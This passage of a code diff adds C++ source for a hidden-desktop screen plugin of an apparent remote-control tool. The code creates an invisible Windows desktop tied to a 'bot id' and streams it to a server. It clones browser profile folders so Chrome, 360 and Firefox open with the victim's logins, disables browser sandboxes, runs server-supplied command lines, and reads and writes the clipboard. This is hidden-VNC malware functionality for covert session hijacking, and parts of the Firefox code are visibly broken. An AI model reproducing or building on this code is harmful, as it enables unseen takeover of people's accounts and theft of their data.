CloseHandle(hProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 终止进程
|
||||
if (!TerminateProcess(hProcess, 0)) {
|
||||
Mprintf("TerminateProcess failed for PID: %d\n", pid);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
void CopyDir(TCHAR* from, TCHAR* to)
|
||||
{
|
||||
TCHAR fromWildCard[MAX_PATH] = { 0 };
|
||||
lstrcpy(fromWildCard, from);
|
||||
lstrcat(fromWildCard, _T("\\*"));
|
||||
|
||||
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
return;
|
||||
WIN32_FIND_DATA findData;
|
||||
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
|
||||
if (hFindFile == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
do {
|
||||
TCHAR currFileFrom[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileFrom, from);
|
||||
lstrcat(currFileFrom, _T("\\"));
|
||||
lstrcat(currFileFrom, findData.cFileName);
|
||||
|
||||
TCHAR currFileTo[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileTo, to);
|
||||
lstrcat(currFileTo, _T("\\"));
|
||||
lstrcat(currFileTo, findData.cFileName);
|
||||
|
||||
if
|
||||
(
|
||||
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
|
||||
strcmp(findData.cFileName, _T(".")) &&
|
||||
strcmp(findData.cFileName, _T(".."))
|
||||
) {
|
||||
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
|
||||
CopyDir(currFileFrom, currFileTo);
|
||||
} else
|
||||
CopyFile(currFileFrom, currFileTo, FALSE);
|
||||
} while (FindNextFile(hFindFile, &findData));
|
||||
}
|
||||
|
||||
void killproc(const TCHAR* name)
|
||||
{
|
||||
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
|
||||
PROCESSENTRY32 pEntry;
|
||||
pEntry.dwSize = sizeof(pEntry);
|
||||
BOOL hRes = Process32First(hSnapShot, &pEntry);
|
||||
while (hRes) {
|
||||
if (strcmp(pEntry.szExeFile, name) == 0) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
|
||||
(DWORD)pEntry.th32ProcessID);
|
||||
if (hProcess != NULL) {
|
||||
TerminateProcess(hProcess, 9);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
hRes = Process32Next(hSnapShot, &pEntry);
|
||||
}
|
||||
CloseHandle(hSnapShot);
|
||||
}
|
||||
|
||||
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
|
||||
CScreenManagerBase(pClient, nBitDepth, user)
|
||||
{
|
||||
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
|
||||
}
|
||||
|
||||
CScreenHideManager::~CScreenHideManager()
|
||||
{
|
||||
}
|
||||
|
||||
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == TOKEN_HEARTBEAT)
|
||||
return;
|
||||
|
||||
switch (lpBuffer[0]) {
|
||||
case COMMAND_FLUSH_HIDE:
|
||||
ResetScreen(32);
|
||||
break;
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||
SendClientClipboard();
|
||||
break;
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_SCREEN_SETSCREEN_HIDE:
|
||||
Loop_Screen();
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(60);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(85);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(100);
|
||||
break;
|
||||
case COMMAND_HIDE_USER: {
|
||||
return OnUserCommand(lpBuffer, nSize);
|
||||
}
|
||||
break;
|
||||
case COMMAND_HIDE_CLEAR:
|
||||
SafeTerminateDesktopProcesses(g_hDesk);
|
||||
break;
|
||||
default:
|
||||
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
|
||||
char* deskName = (char*)m_DesktopID.c_str();
|
||||
switch (lpBuffer[1]) {
|
||||
case IDM_OPEN_Explorer: {
|
||||
const DWORD neverCombine = 2;
|
||||
const TCHAR* valueName = _T("TaskbarGlomLevel");
|
||||
|
||||
HKEY hKey;
|
||||
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
|
||||
DWORD value;
|
||||
DWORD size = sizeof(DWORD);
|
||||
DWORD type = REG_DWORD;
|
||||
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
|
||||
|
||||
if (value != neverCombine)
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
|
||||
|
||||
TCHAR explorerPath[MAX_PATH] = { 0 };
|
||||
GetWindowsDirectory(explorerPath, MAX_PATH);
|
||||
lstrcat(explorerPath, _T("\\"));
|
||||
lstrcat(explorerPath, _T("explorer.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
|
||||
APPBARDATA appbarData;
|
||||
appbarData.cbSize = sizeof(appbarData);
|
||||
for (int i = 0; i < 5; ++i) {
|
||||
Sleep(1000);
|
||||
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
|
||||
if (appbarData.hWnd)
|
||||
break;
|
||||
}
|
||||
|
||||
appbarData.lParam = ABS_ALWAYSONTOP;
|
||||
SHAppBarMessage(ABM_SETSTATE, &appbarData);
|
||||
|
||||
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
|
||||
RegCloseKey(hKey);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_run: {
|
||||
TCHAR rundllPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
|
||||
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Powershell: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Chrome: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR botId[35] = { 0 };
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcat(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Edge: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("msedge.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Brave: {
|
||||
killproc(_T("brave.exe"));
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcat(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("brave.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Firefox: {
|
||||
TCHAR firefoxPath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
|
||||
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
|
||||
|
||||
TCHAR profilesIniPath[MAX_PATH] = { 0 };
|
||||
lstrcat(profilesIniPath, firefoxPath);
|
||||
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
|
||||
|
||||
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hProfilesIni == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
|
||||
DWORD read;
|
||||
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
|
||||
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
|
||||
profilesIniContent[profilesIniSize] = 0;
|
||||
|
||||
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
|
||||
if (!isRelativeRead) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
|
||||
isRelativeRead += 11;
|
||||
BOOL isRelative = (*isRelativeRead == _T('1'));
|
||||
|
||||
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
|
||||
if (!path) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
TCHAR* pathEnd = StrStr(path, _T("\r"));
|
||||
if (!pathEnd) {
|
||||
CloseHandle(hProfilesIni);
|
||||
SAFE_DELETE(profilesIniContent);
|
||||
return;
|
||||
}
|
||||
*pathEnd = 0;
|
||||
path += 5;
|
||||
|
||||
TCHAR realPath[MAX_PATH] = { 0 };
|
||||
if (isRelative)
|
||||
lstrcpy(realPath, firefoxPath);
|
||||
lstrcat(realPath, path);
|
||||
|
||||
TCHAR newPath[MAX_PATH];
|
||||
lstrcpy(newPath, firefoxPath);
|
||||
lstrcpy(newPath, deskName);
|
||||
|
||||
CopyDir(realPath, newPath);
|
||||
|
||||
TCHAR browserPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(browserPath, _T("cmd.exe /c start "));
|
||||
lstrcpy(browserPath, _T("firefox.exe"));
|
||||
lstrcpy(browserPath, _T(" -no-remote -profile "));
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
lstrcpy(browserPath, newPath);
|
||||
lstrcpy(browserPath, _T("\""));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_Iexplore: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("iexplore.exe"));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy: {
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_zdy2: {
|
||||
ZdyCmd m_ZdyCmd = {};
|
||||
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
|
||||
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, m_ZdyCmd.cmdline);
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, m_ZdyCmd.newpath);
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360JS: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("User Data\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, _T("360chrome.exe"));
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
lstrcat(path, _T("\""));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("secoresdk\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
case IDM_OPEN_360AQ2: {
|
||||
TCHAR chromePath[MAX_PATH] = { 0 };
|
||||
|
||||
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
|
||||
lstrcat(chromePath, _T("\\"));
|
||||
|
||||
TCHAR dataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(dataPath, chromePath);
|
||||
lstrcat(dataPath, _T("360se6\\"));
|
||||
|
||||
TCHAR newDataPath[MAX_PATH] = { 0 };
|
||||
lstrcpy(newDataPath, chromePath);
|
||||
lstrcat(newDataPath, deskName);
|
||||
|
||||
CopyDir(dataPath, newDataPath);
|
||||
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
|
||||
|
||||
TCHAR path[MAX_PATH] = { 0 };
|
||||
lstrcpy(path, _T("cmd.exe /c start "));
|
||||
lstrcat(path, newDataPath);
|
||||
|
||||
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
|
||||
|
||||
STARTUPINFO startupInfo = { 0 };
|
||||
startupInfo.cb = sizeof(startupInfo);
|
||||
startupInfo.lpDesktop = deskName;
|
||||
PROCESS_INFORMATION processInfo = { 0 };
|
||||
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void CScreenHideManager::InitScreenSpy() {
|
||||
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
|
||||
if (!hDesk) {
|
||||
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
|
||||
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
|
||||
}
|
||||
else {
|
||||
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
|
||||
}
|
||||
if (hDesk) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
|
||||
{
|
||||
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
|
||||
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
|
||||
}
|
||||
} else {
|
||||
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
|
||||
}
|
||||
SetThreadDesktop(g_hDesk = hDesk);
|
||||
}
|
||||
BYTE* param = (BYTE*)m_ptrUser;
|
||||
int compress = ALGORITHM_DIFF;
|
||||
if (param) {
|
||||
compress = param[1];
|
||||
delete[] param;
|
||||
m_ptrUser = NULL;
|
||||
}
|
||||
m_ScreenSpyObject = new CScreenHideSpy(32, compress);
|
||||
}
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,21 @@
|
||||
#pragma once
|
||||
#include "Manager.h"
|
||||
|
||||
#include "ScreenHideSpy.h"
|
||||
#include "ScreenManagerBase.h"
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
class CScreenHideManager : public CScreenManagerBase
|
||||
{
|
||||
public:
|
||||
CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user=NULL);
|
||||
virtual ~CScreenHideManager();
|
||||
|
||||
void OnUserCommand(PBYTE lpBuffer, ULONG nSize);
|
||||
|
||||
virtual VOID OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
virtual void InitScreenSpy();
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
|
||||
#include "ScreenSpy.h"
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
// 隐私屏幕捕获器。
|
||||
//
|
||||
// SimplePlugins 原版 CScreenHideSpy 基于其自带的旧 CScreenSpy/ScreenCapture 捕获链
|
||||
// (jpeg + CaptureFrame/BMP_JPG/ScanChangedRect),已与 YAMA 重写后的编码器捕获层
|
||||
// (ScreenCapture::GetNextScreenData + EncoderFactory)分叉,故此处改写为直接继承
|
||||
// YAMA 的 ::CScreenSpy,仅把 vDesk=TRUE(虚拟桌面)传入基类,捕获/编码全部复用基类。
|
||||
class CScreenHideSpy : public ::CScreenSpy
|
||||
{
|
||||
public:
|
||||
CScreenHideSpy(int biBitCount = 32, int algo = ALGORITHM_DIFF)
|
||||
: ::CScreenSpy((ULONG)biBitCount, (BYTE)algo, TRUE /* vDesk → m_bVirtualPaint */)
|
||||
{
|
||||
}
|
||||
};
|
||||
|
||||
} // namespace SimplePluginsScreenHide
|
||||
@@ -0,0 +1,642 @@
|
||||
#pragma once
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <tchar.h>
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
class CScreenManagerBase : public CManager {
|
||||
public: // 构造和析构
|
||||
CScreenManagerBase(IOCPClient* ClientObject, int nBitDepth, void* user = NULL,
|
||||
int token= TOKEN_BITMAPINFO) : CManager(ClientObject)
|
||||
{
|
||||
m_DlgToken = token;
|
||||
g_hDesk = nullptr;
|
||||
m_DesktopID = GetBotId();
|
||||
m_ptrUser = user;
|
||||
m_ScreenSpyObject = nullptr;
|
||||
m_biBitCount = nBitDepth;
|
||||
m_fps = 10;
|
||||
m_bIsWorking = TRUE;
|
||||
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
m_point = {};
|
||||
m_lastPoint = {};
|
||||
m_lmouseDown = FALSE;
|
||||
m_hResMoveWindow = nullptr;
|
||||
m_resMoveType = 0;
|
||||
m_rmouseDown = FALSE;
|
||||
m_rclickPoint = {};
|
||||
m_rclickWnd = nullptr;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::WorkThreadProc, this, 0, NULL);
|
||||
m_hBlankThread = (HANDLE)__CreateThread(NULL, 0, CScreenManagerBase::ControlThread, this, 0, NULL);
|
||||
SetReady(TRUE);
|
||||
}
|
||||
virtual ~CScreenManagerBase() {
|
||||
m_bIsWorking = FALSE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hBlankThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread); m_hWorkThread = NULL;
|
||||
CloseHandle(m_hBlankThread); m_hBlankThread = NULL;
|
||||
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
if (g_hDesk) {
|
||||
auto b = CloseDesktop(g_hDesk);
|
||||
g_hDesk = NULL;
|
||||
Mprintf("关闭虚拟屏幕【%s】: %s\n", b ? "成功" : "失败", m_DesktopID.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
public: // 非纯虚函数
|
||||
virtual BOOL SendFirstScreen() {
|
||||
ULONG len = 0;
|
||||
auto data = m_ScreenSpyObject->GetFirstScreenData(&len);
|
||||
if (nullptr == data) {
|
||||
return FALSE;
|
||||
}
|
||||
return m_ClientObject->Send2Server((char*)data, 1 + len);
|
||||
}
|
||||
|
||||
virtual bool IsMetricsChange() {
|
||||
if ((m_oldwidth != ::GetSystemMetrics(SM_CXVIRTUALSCREEN)) || (m_oldheigh != ::GetSystemMetrics(SM_CYVIRTUALSCREEN))) {
|
||||
if (m_oldwidth == 0 || m_oldheigh == 0) {
|
||||
return false;
|
||||
}
|
||||
m_oldwidth = ::GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
m_oldheigh = ::GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
virtual void Loop_Screen() {
|
||||
// 获取分辨率
|
||||
int _cx = ::GetSystemMetrics(SM_CXSCREEN);
|
||||
int _cy = ::GetSystemMetrics(SM_CYSCREEN);
|
||||
|
||||
// 修改分辨率
|
||||
DEVMODE lpDevMode;
|
||||
lpDevMode.dmBitsPerPel = 32;//每个像素的位数
|
||||
lpDevMode.dmPelsWidth = 1600;//屏幕宽度(像素)
|
||||
lpDevMode.dmPelsHeight = 900;//屏幕高度(像素)
|
||||
lpDevMode.dmSize = sizeof(lpDevMode);
|
||||
lpDevMode.dmFields =DM_PELSWIDTH| DM_PELSHEIGHT| DM_BITSPERPEL;
|
||||
LONG result = ChangeDisplaySettings(&lpDevMode, 0);
|
||||
if (result == DISP_CHANGE_SUCCESSFUL) {
|
||||
ChangeDisplaySettings(&lpDevMode, CDS_UPDATEREGISTRY);
|
||||
}
|
||||
else {
|
||||
ChangeDisplaySettings(NULL, 0);
|
||||
}
|
||||
}
|
||||
|
||||
virtual bool IsConnect() { return m_ClientObject->IsRunning(); }
|
||||
|
||||
virtual int GetCurrentPixelBits() { return m_biBitCount; }
|
||||
|
||||
virtual LPBYTE GetNextScreen(ULONG& ulNextSendLength) {
|
||||
return m_ScreenSpyObject->GetNextScreenData(&ulNextSendLength);
|
||||
}
|
||||
|
||||
virtual VOID SendNextScreen(LPBYTE szBuffer, ULONG ulNextSendLength) {
|
||||
m_ClientObject->Send2Server((char*)szBuffer, ulNextSendLength);
|
||||
}
|
||||
|
||||
virtual void ResetScreen(int biBitCount = 32) {
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
SAFE_DELETE(m_ScreenSpyObject);
|
||||
m_biBitCount = biBitCount;
|
||||
m_bIsWorking = TRUE;
|
||||
m_hWorkThread = (HANDLE)__CreateThread(NULL, 0, WorkThreadProc, this, 0, NULL);
|
||||
}
|
||||
|
||||
virtual VOID UpdateClientClipboard(char* szBuffer, ULONG ulLength) {
|
||||
if (!OpenClipboard(NULL))
|
||||
return;
|
||||
EmptyClipboard();
|
||||
HGLOBAL hGlobal = (HGLOBAL)GlobalAlloc(GMEM_DDESHARE, ulLength);
|
||||
if (hGlobal != NULL) {
|
||||
LPTSTR szClipboardVirtualAddress = (LPTSTR)GlobalLock(hGlobal);
|
||||
if (szClipboardVirtualAddress)
|
||||
memcpy(szClipboardVirtualAddress, szBuffer, ulLength);
|
||||
GlobalUnlock(hGlobal);
|
||||
if (NULL == SetClipboardData(CF_TEXT, hGlobal))
|
||||
GlobalFree(hGlobal);
|
||||
}
|
||||
CloseClipboard();
|
||||
}
|
||||
|
||||
virtual VOID SendClientClipboard() {
|
||||
if (!OpenClipboard(NULL)) //打开剪切板设备
|
||||
return;
|
||||
